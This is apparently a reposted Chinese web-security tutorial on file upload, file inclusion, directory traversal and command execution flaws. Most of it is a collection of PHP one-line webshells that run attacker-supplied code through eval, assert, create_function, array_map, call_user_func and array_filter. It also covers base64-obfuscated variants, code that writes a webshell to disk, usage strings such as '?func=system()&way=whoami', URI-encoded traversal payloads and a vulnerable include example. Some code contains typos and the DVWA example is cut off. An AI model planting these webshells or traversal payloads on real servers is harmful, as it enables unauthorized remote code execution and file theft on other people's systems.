大佬教程收集整理的这篇文章主要介绍了文件包含上传漏洞&目录遍历命令执行漏洞,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量
<?PHP @eval($_POST['sHell']);?>
将含有这个代码的PHP文件上传到服务器,命名为websHell.PHP后,只需要构造URL为其传递参数即可将其利用,也可以用例如菜刀、蚁剑这类工具
利用:
websHell.PHP?sHell=PHPinfo()
此函数正常情况下只在调试期间使用,又称断言函数,此函数作用与eval()类似,都可将括号中的字符串当作PHP代码执行
<?PHP @assert($_POST['sHell']);?>
利用方式与eval()类似
格式:
creat_function(参数,函数方法)
一句话木马的构造:
<?PHP
$func = create_function('',$_POST['sHell']);
$func();
?>
解释:因为不需要本地传入参数,所以第一项为空即可,当我们通过POST传入字符串时,会当作PHP代码执行
利用:
有趣的函数
该函数会将数组中的每一个值通过回调函数依次执行得到结果,并返回一个新的数组
格式:
array_map(函数,数组)
一句话木马的构造:
<?PHP
$func = $_requEST['func'];
$way = $_requEST['way'];
$array[0] = $way;
$new_array =array_map($func,$way);
?>
解释:将$way中的字符串作为$func中PHP代码的参数
利用:
?func=system()&way=whoami
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func(回调函数,回调函数的参数)
call_user_func_array(回调函数,将数组作为回调函数的参)
一句话木马的构造:
<?PHP
call_user_func(assert,$_GET['cmd']);
?>
<?PHP
$array[0] = $_POST['sHell'];
call_user_func_array(eval,$array);
?>
依次将array数组中的每个值传到函数中去
array_filter(array,callBACk)
一句话木马的构造:
<?PHP
$cmd = $_POST['cmd'];
$array[0] = $cmd;
array_filter($array,assert)
?>
<?PHP
$func = $_POST['func'];
$way = $_requEST['way'];
$array[0] = $way;
array_filter($array,$func);
?.
二者区别:**file_puts_centents()可以直接写入**
**fputs()写入前,需要先fopen开文件**
<?PHP
$test = "<?PHP @eval($_GET[''sHell']);?>";
file_put_contents('test1.PHP',$text);
?>
<?PHP fputs(fopen('sHell.PHP','w'),'<?PHP @eval($_POST['sHell']);?>')
<?PHP
$_GET['a']($_GET['b'])
?>
利用: ?a=eval&b=PHPinfo()
<?PHP
$a=base64_decode("YXNzZXJ0");
@a($_POST['sHell']);
?>
<?PHP
$str="a=eval";
parse_str($str);
$a($_POST['sHell']);
?>
x01 Unix目录遍历攻击
通用的类Unix系统的目录遍历攻击字符串形如“../”。
0x02 Windows操作系统目录遍历攻击
对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“../”或者“..\”字符串。
0x03 URI编码形式的目录遍历攻击
一些网络应用会通过查询危险的字符串,例如:- ..- ..\- ../
来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:
%2e%2e%2f:解码为../
%2e%2e/:解码为../
..%2f:解码为../
%2e%2e%5c:解码为..\
先包含再遍历
攻击形式:
../../../../../../../../../etc/paawd
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。
文件包含漏洞执行包含文件的代码时,后缀名不会影响:即使后缀名时.txt也会正常执行其中的PHP代码
示例代码:
<?PHP
$filename = $_GET['filename'];
include($fileName);
?>
此包含脚本,一般是web中源代码有的
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。
简而言之 : 就是攻击者上传了一个带有include的PHP文件,导致攻击者可以便利目标服务器上的文件(配合文件遍历漏洞)
例如:再DVWA的low级别中,若在其www/dvwa/dvwa目录下,放入一个info.PHP文件(PHPinfo()),此时在操作机中,可通过 目录遍历漏洞配合文件包含漏洞访问并执行该文件:
Windows系统
以上是大佬教程为你收集整理的文件包含上传漏洞&目录遍历命令执行漏洞全部内容,希望文章能够帮你解决文件包含上传漏洞&目录遍历命令执行漏洞所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。